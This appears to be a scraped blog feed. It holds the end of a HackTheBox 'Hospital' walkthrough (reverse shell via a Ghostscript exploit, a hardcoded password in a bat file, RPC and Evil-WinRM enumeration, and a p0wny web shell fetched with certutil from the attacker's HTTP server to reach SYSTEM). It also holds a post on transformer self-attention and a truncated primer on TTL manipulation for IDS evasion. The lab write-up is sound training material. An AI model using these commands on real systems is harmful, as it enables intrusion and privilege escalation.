https://substackcdn.com/image/fetch/$s_!RhVO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84092cd4-2a07-417b-a00e-1ae904cf22fc_1095x430.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Then, a reverse shell is successfully caught, providing access to Dr. Brown&#8217;s Windows machine.</p><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/CVE-2023-36664-Ghostscript-command-injection]
&#9492;&#9472;$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.229.189] 25203
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\drbrown.HOSPITAL\Documents&gt;whoami
whoami
hospital\drbrown

C:\Users\drbrown.HOSPITAL\Documents&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Documents

04/08/2024  05:28 AM    &lt;DIR&gt;          .
04/08/2024  05:28 AM    &lt;DIR&gt;          ..
10/23/2023  03:33 PM               373 ghostscript.bat
04/08/2024  05:28 AM            45,272 nc.exe
               2 File(s)         45,645 bytes
               2 Dir(s)   4,082,790,400 bytes free

C:\Users\drbrown.HOSPITAL\Documents&gt;</code></code></pre><p>The user flag is found.</p><pre><code><code>C:\Users\drbrown.HOSPITAL&gt;cd Desktop
cd Desktop

C:\Users\drbrown.HOSPITAL\Desktop&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Desktop

10/27/2023  12:24 AM    &lt;DIR&gt;          .
10/27/2023  12:24 AM    &lt;DIR&gt;          ..
04/08/2024  05:18 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,082,765,824 bytes free

C:\Users\drbrown.HOSPITAL\Desktop&gt;cat user.txt
cat user.txt
'cat' is not recognized as an internal or external command,
operable program or batch file.

C:\Users\drbrown.HOSPITAL\Desktop&gt;type user.txt
type user.txt
&lt;REDACTED&gt;</code></code></pre><h1>Privilege escalation - Windows</h1><p>On Dr Brown&#8217;s machine is a bat file.</p><pre><code><code>C:\Users\drbrown.HOSPITAL\Documents&gt;dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 7357-966F

 Directory of C:\Users\drbrown.HOSPITAL\Documents

04/08/2024  05:28 AM    &lt;DIR&gt;          .
04/08/2024  05:28 AM    &lt;DIR&gt;          ..
10/23/2023  03:33 PM               373 ghostscript.bat
04/08/2024  05:28 AM            45,272 nc.exe
               2 File(s)         45,645 bytes
               2 Dir(s)   4,082,753,536 bytes free</code></code></pre><p>Reviewing the file reveals a hardcoded password.</p><pre><code><code>C:\Users\drbrown.HOSPITAL\Documents&gt;type ghostscript.bat
type ghostscript.bat
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring '&lt;REDACTED&gt;' -asplain -force;$c = new-object system.management.automation.pscredential('hospital\drbrown', $p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c "C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER "C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"</code></code></pre><p>The password can be tried on potential other services; for instance, RPC.</p><pre><code><code>Password for [WORKGROUP\drbrown]:
rpcclient $&gt;</code></code></pre><p><em><strong>A note on RPC</strong></em></p><ul><li><p>Remote Procedure Call (RPC) is a protocol that allows a program on one computer to execute a procedure (a subroutine or function) on another computer without understanding the network&#8217;s details. In essence, RPC abstracts the complexities of network communication, allowing developers to focus on implementing the function rather than the communication mechanism. This is particularly useful in distributed systems, where different parts of an application may reside on different networked computers.</p></li><li><p>RPC operates on a client-server model. The client requests that a procedure be executed on the server. The RPC system then packages the procedure&#8217;s parameters, sends them over the network to the server, executes the requested procedure on the server with the supplied parameters, and sends the result back to the client.</p></li></ul><p>Once the RPC shell is established, executing <code>querydispinfo</code> will return a description of the various users on the target machine.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bwS5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bwS5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 424w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 848w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 1272w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bwS5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png" width="1199" height="343" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:343,&quot;width&quot;:1199,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;rpc.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="rpc.png" title="rpc.png" srcset="https://substackcdn.com/image/fetch/$s_!bwS5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 424w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 848w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 1272w, https://substackcdn.com/image/fetch/$s_!bwS5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F51017247-35b4-4505-8a81-1ce8d4c0b8c1_1199x343.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This reveals the presence of a local administrator account.</p><p>Enumerating the directory structure further reveals the presence of the <code>xampp\htdocs</code> folder.</p><p><strong>A note on </strong><code>xampp\htdocs:</code></p><ul><li><p>The <code>xampp\htdocs</code> folder is a directory used by XAMPP, a popular open-source cross-platform web server solution stack package. XAMPP stands for Cross-Platform (X), Apache (A), MariaDB (M), PHP (P), and Perl (P). It is designed to be an easy-to-install Apache distribution containing MariaDB, PHP, and Perl, making it a convenient tool for developers to create and test web applications on their local machines before deploying them to a live server.*</p></li><li><p>If found on a machine in a production environment or accessible over a network, it could be a security concern. XAMPP is not designed with security in mind for production use; its default configuration is meant for development purposes only, with minimal security settings. An improperly secured XAMPP installation accessible over a network can be exploited by malicious actors.</p></li></ul><p>The permissions on the location reveal any user can read and execute the location and <code>NT Authority</code> has full control.</p><p>A malicious file uploaded to the location could theoretically be executed in the context of <code>NT Authority</code>.</p><pre><code><code>*Evil-WinRM* PS C:\xampp\htdocs&gt; Get-Acl | Format-List

Path   : Microsoft.PowerShell.Core\FileSystem::C:\xampp\htdocs
Owner  : BUILTIN\Administrators
Group  : HOSPITAL\Domain Users
Access : NT AUTHORITY\LOCAL SERVICE Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
         BUILTIN\Users Allow  AppendData
         BUILTIN\Users Allow  CreateFiles
         CREATOR OWNER Allow  268435456</code></code></pre><p>The shell used earlier was re-used here. First, it was served locally on the attack machine and then retrieved on the Windows target within the potentially vulnerable <code>htdocs</code> folder.</p><pre><code><code>&#9472;&#9472;(kali&#12927;kali)-[~/&#8230;/htb-machines/hospital/exploits/p0wny-shell]
&#9492;&#9472;$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...</code></code></pre><pre><code><code>*Evil-WinRM* PS C:\xampp\htdocs&gt; certutil -urlcache -f http://10.10.14.2:8000/shell.php shell.php</code></code></pre><p>Browsing to the uploaded shell on the Windows machine successfully obtains another web shell in the context of the <code>NT Authority</code> user.</p><p>The root flag is found.</p><pre><code><code>DC$@DC:C:\xampp\htdocs# whoami
nt authority\system

DC$@DC:C:\xampp\htdocs# type c:\Users\Administrator\Desktop\root.txt
&lt;REDACTED&gt;</code></code></pre>]]></content:encoded></item><item><title><![CDATA[Transformer architecture and self-attention]]></title><description><![CDATA[A brief overview]]></description><link>https://www.emdeh.com/p/transformer-architecture-and-self</link><guid isPermaLink="false">https://www.emdeh.com/p/transformer-architecture-and-self</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 18 Mar 2024 04:50:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/fd17eaba-9cb8-47e6-9ce1-6eddba474672_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Natural Language Processing (NLP), a transformer architecture is a type of deep learning model that has significantly improved the ability to understand and generate human language. Vaswani et al. introduced transformers in the paper &#8220;Attention is All You Need&#8221; in 2017 and distinguished them by their application of self-attention mechanisms. Self-attention mechanisms enable a model to weigh the importance of different words within a sentence, regardless of their positional distance from each other.</p><p><em><strong>Key Features of Transformers</strong></em></p><ul><li><p><strong>Self-Attention:</strong> allows the model to dynamically focus on different parts of an input as it processes information, enabling it to capture context and relationships between words effectively.</p></li><li><p><strong>Parallel Processing:</strong> Transformers can process entire data sequences in parallel, significantly speeding up training and improving the model&#8217;s ability to handle long sequences. Previous sequence models like RNNs (Recurrent Neural Networks) and LSTMs (Long-Short-Term Memory Networks) could only process data sequentially.</p></li><li><p><strong>Layered Structure:</strong> Transformers comprise multiple layers of self-attention and feed-forward neural networks. A layered structure enables Transformers to learn complex patterns and relationships in the data, which is critical to the depth of their performance on a broad range of NLP tasks.</p></li><li><p><strong>Scalability:</strong> Due to parallel processing and efficient training on large datasets, transformers are highly scalable, making them suitable for cases requiring an understanding of complex and nuanced language.</p></li></ul><p><em><strong>Applications</strong></em></p><p>Many state-of-the-art NLP models, such as BERT (Bidirectional Encoder Representations from Transformers) and GPT (Generative Pretrained Transformer), have a Transformer foundation. These models have set new benchmarks in various NLP tasks, such as text classification, machine translation, question answering, and text generation.</p><p>The transformer model&#8217;s ability to understand context and nuance in text has enabled the development of more sophisticated and interactive AI applications, and it is a cornerstone of modern NLP research.</p><h1>The architecture</h1><p>Transformer architectures have three broad models:</p><ul><li><p>Encoders</p></li><li><p>Decoders, and</p></li><li><p>Encoder-Decoders (Sequence-to-Sequence)</p></li></ul><h2>Encoders</h2><p>Encoders in transformers process input text into a format (vector representations) that captures the essence of the original information.</p><blockquote><p><em><strong>Encoder models are bidirectional.</strong></em></p></blockquote><p>Because encoders consider the context from both before and after a given word within the same layer, they are said to be <strong>bi-directional</strong>. Bi-directional capability contrasts with traditional models that process input in a strict uni-directional sequence (either left-to-right or right-to-left). Thus, it could only incorporate context from one direction at a time in their initial layers.</p><p>Imagine the sentence, <code>The cat sat on the mat.</code> Bidirectionality means that when processing the word <code>sat</code>, the encoder considers the context of <code>The cat</code> (words before <code>sat</code>) and <code>on the mat</code> (words after <code>sat</code>) simultaneously. This allows the encoder to understand that <code>sat</code> is an action performed by <code>the cat</code> and it occurred <code>on the mat</code>, integrating full-sentence context into its representation of <code>sat</code>.</p><p>In contrast, <strong>unidirectional</strong> models, such as decoders (see below), would only consider &#8220;<code>The cat</code> when first encountering <code>sat</code>, meaning it misses the contextual clues provided by <code>on the mat</code> until later layers, or not at all, depending on the model&#8217;s overall architecture.</p><p>Bi-directional processing enables transformers to capture a more nuanced and complete understanding of language, which makes them particularly effective for tasks that require a deep understanding of context, such as sentence classification, sentiment analysis, and named entity recognition.</p><blockquote><p><em><strong>Encoders use self-attention layers to understand relative context.</strong></em></p></blockquote><p>Encoders in transformer models aim to evaluate and understand each part of the input text relative to the entire text. This is achieved by first converting each word or part of the input into a vector representation using embeddings. For each of these vector representations, the model generates three distinct vectors: <em>Query </em><code>(Q)</code>, <em>Key </em><code>(K)</code>, and <em>Value </em><code>(V)</code>. The <code>Q</code>, <code>K</code>, and <code>V</code> vectors are then utilised to calculate attention scores, determining the weight each word&#8217;s representation should assign to every other word&#8217;s representation in the input. This weighting process enables the model to determine how much &#8216;attention&#8217; or importance each part of the input should give to other parts, effectively allowing each word to consider the context provided by the entire input. This mechanism, known as <strong>self-attention</strong>, is pivotal for the model&#8217;s ability to capture and utilise contextual information within the input.</p><p>Encoder-only models are often used in tasks that require understanding the input, like sentence classification or named entity recognition.</p><h2>Decoders</h2><blockquote><p><em><strong>Decoders use a masked self-attention layer.</strong></em></p></blockquote><p>Self-attention in decoders is said to be <strong>masked</strong>. Masking prevents a decoder from &#8216;seeing&#8217; future parts of the sequence during training, ensuring each word prediction is based only on already generated words. In other words, during generating an output sequence, each position can only attend to positions that preceded the current position in the sequence. This constraint is crucial for text generation, where models predict the next word based on the previous ones.</p><p>For example, imagine the decoder is generating the text <code>The quick brown fox.</code> When it&#8217;s predicting the word after <code>The quick,</code> the masked self-attention mechanism allows the decoder to consider <code>The</code> and <code>quick</code> but not <code>brown</code> or <code>fox</code> because those words are in the future relative to the predicted current position. This masking effectively enforces a uni-directional flow of information, ensuring that the model generates each word based solely on preceding words, preserving the natural order of text generation.</p><blockquote><p><em><strong>Because of masked self-attention, decoders are uni-directional.</strong></em></p></blockquote><p>They generate output one element at a time in a forward direction. In decoders, the future context is deliberately obscured to mimic the process of creating language one word at a time, making the decoding process fundamentally uni-directional.</p><p>If decoders were not uni-directional and could instead attend to the entire input sequence indiscriminately (similar to encoders), the integrity of the generated output sequence would be compromised. Specifically, the following issues could arise:</p><ul><li><p><em>Loss of Sequential Generation Logic:</em> Predicting the next word becomes moot if the decoder has access to future words, undermining the process of sequential text generation.</p></li><li><p><em>Incoherent or Circular Outputs:</em> Due to premature knowledge of future context, outputs might repeat or loop without a logical progression.</p></li><li><p><em>Compromised Learning Objective:</em> The model&#8217;s focus shifts from generating text based on learned structures to merely matching patterns, diluting the essence of language generation.</p></li></ul><blockquote><p><em><strong>The generation of each element of the output sequence one at a time is Auto-Regression.</strong></em></p></blockquote><p>Generating each element of the output one at a time, based on the previously generated elements, is known as <strong>Auto-Regression</strong>. The auto-regressive property necessitates the use of masked self-attention in the decoder, as it relies on the premise that each step in the generation process only has access to previous steps.</p><p>In summary, decoders are <em>uni-directional</em> because their <em>self-attention</em> layer is masked. Masking supports the <em>auto-regressive</em> nature of the generation process, ensuring that each step in generating the output can only use information from the steps that have already occurred.</p><p>Decoder-only models are particularly useful for generative tasks like text generation.</p><h2>Encoders-decoders</h2><p>Are also known as <strong>sequence-to-sequence</strong>. These models are good for generative tasks that are based on an input, such as translation or summarisation.</p><h1>Self-Attention Layers</h1><p><strong>Attention layers</strong> refer to any layer within a neural network that applies some form of the <em>attention mechanism</em>. Attention mechanisms allow models to focus on different parts of the input data with varying degrees of emphasis.</p><blockquote><p><em><strong>Self-Attention is one type of attention mechanism.</strong></em></p></blockquote><p>Self-Attention in transformer models enables each position in the input sequence to attend to all positions within the same sequence. Self-Attention enables transformers to process and interpret sequences of input data, such as sentences in natural language processing (NLP) and dynamically weigh the relevance of all parts of the input data against every other part when processing any single part, enabling the incorporation of relatively weighted context from the entire sequence.</p><p>In other words, self-attention allows a model to understand the relationships between words, regardless of their positional distance. Here&#8217;s a more detailed look at how self-attention works:</p><p>For example, imagine the sentence: <code>The cat purrs.</code></p><p><strong>Step 1 - Input representation</strong><br>First, each word in the sentence (<code>The</code>, <code>cat</code>, <code>purrs</code>) is converted into a vector using embeddings. These vectors contain each word&#8217;s initial context.</p><p><strong>Step 2 - Query, Key, and Value Vectors</strong><br>For each word, three vectors are generated from its embedding: a Query vector (<code>Q</code>), a Key vector (<code>K</code>), and a Value vector (<code>V</code>). This is done through linear transformations, which essentially means multiplying the word&#8217;s embedding by different weight matrices for <code>Q</code>, <code>K</code>, and <code>V</code>.</p><p><strong>Step 3 - Calculating attention scores</strong><br>The &#8220;dot product&#8221; of the Query vector for <code>purrs</code> is calculated with the Key vector of every word in the sentence, including itself. Calculating the dot product with the Key vector (<code>K</code>) of every other word produces scores that represent how much attention <code>purrs</code> should pay to each word in the sentence, including <code>The</code> and <code>cat</code>.</p><p><strong>Step 4 - Softmax to Determine Weights</strong><br>These scores are converted into weights that sum to 1 through a mathematical normalisation process (a softmax function). The weights quantify the relevance of each word&#8217;s information to the word <code>purrs</code>.</p><p><strong>Step 5 - Weighted Sum and Output</strong><br>The weights are used to create a weighted sum of the Value vectors, which incorporates information from the entire sentence into the representation of <code>purrs</code>. For instance, the high weight of <code>cat</code> (since it&#8217;s directly related to <code>purrs</code>) ensures that <code>purrs</code> is understood in the context of <code>The cat</code>, reinforcing that it&#8217;s the cat doing the purring.</p><blockquote><p><em><strong>The result is contextual representation.</strong></em></p></blockquote><p>Thanks to the self-attention mechanism, the output vector for &#8220;purrs&#8221; now contains information about the word itself and how it relates to the other words in the sentence.</p><p>This process is repeated for every word, enabling the encoder to understand and represent each word in the context of the entire sentence. Through this mechanism, transformers deeply understand the text, considering the meaning of individual words and their broader context within the sentence.</p><p>So clever.</p><h4>Sources</h4><ul><li><p>Self-Attention is all you need</p></li><li><p>Wikipedia</p></li><li><p>Huggingface.co NLP Course</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Malicious Time-to-Live (TTL) manipulation]]></title><description><![CDATA[A high-level explanation on malicious TTL manipulation and packet fragmentation.]]></description><link>https://www.emdeh.com/p/malicious-time-to-live-ttl-manipulation</link><guid isPermaLink="false">https://www.emdeh.com/p/malicious-time-to-live-ttl-manipulation</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Sun, 17 Mar 2024 21:10:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!fmMt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fmMt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fmMt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fmMt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp" width="1024" height="1024" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fmMt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 424w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 848w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 1272w, https://substackcdn.com/image/fetch/$s_!fmMt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5d9a773-3aeb-4994-8d8f-b5f2b9bee46b_1024x1024.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="pullquote"><p>Threat actors can manipulate their IP packets&#8217; Time-to-Live (TTL) value to evade detection while performing network reconnaissance and even help bypass firewalls, Intrusion Detection Systems (IDS), and Intrusion Prevention Systems (IPS).</p></div><h1>What is TTL</h1><p>Time-to-live (TTL) is a computing mechanism that limits the lifespan or validity of data in a network. TTL is a value included in IP packets that tells a network router how many hops (transfers from one network segment to another) the packet is allowed before it should be discarded. The TTL value prevents data packets from circulating indefinitely and causing network congestion.</p><p>TTL values are set in the header of IP packets. The TTL value is an 8-bit field ranging from 0 to 255. The value set in this field determines the maximum number of routers (hops) the packet can pass through before it is discarded or dropped.</p><p>The initial TTL value of a packet can vary depending on the operating system or the application generating the packet. Some common initial values used by different systems include:</p><ul><li><p>Linux-based systems: 64</p></li><li><p>Windows-based systems: 128</p></li><li><p>Network equipment like Cisco routers: 255</p></li></ul><p>The choice of the initial TTL value is a balance between ensuring that packets have enough hops to reach their destination under normal conditions and preventing packets from circulating unnecessarily, which is important to mitigate network congestion.</p><h2>What Happens When the TTL Reaches 0</h2><p>When the TTL value of an IP packet decrements to 0, it indicates that the packet has reached the maximum allowed number of hops (routers) without reaching its intended destination. The router that decrements the TTL value to 0 will discard the packet and typically send an ICMP (Internet Control Message Protocol) Time Exceeded message back to the source IP address. This ICMP message notifies the sender that the packet was not delivered due to the TTL expiring.</p><div><hr></div><h1>TTL Manipulation</h1><h2>Reconnaissance and Probing</h2><p>Intentionally manipulating the TTL with lower-than-normal values can be used in network reconnaissance. By controlling the TTL value, a threat actor can elicit the ICMP Time Exceeded response from various appliances on a network. These responses can help infer the overall layout, map network paths, or identify the presence and location of specific appliances.</p><h2>Bypassing Security Measures</h2><p>Another application of TTL manipulation involves deceiving IDS and IPS appliances to smuggle malicious packets past these security controls.</p><p>This technique operates on the principle of sending two sets of packets with 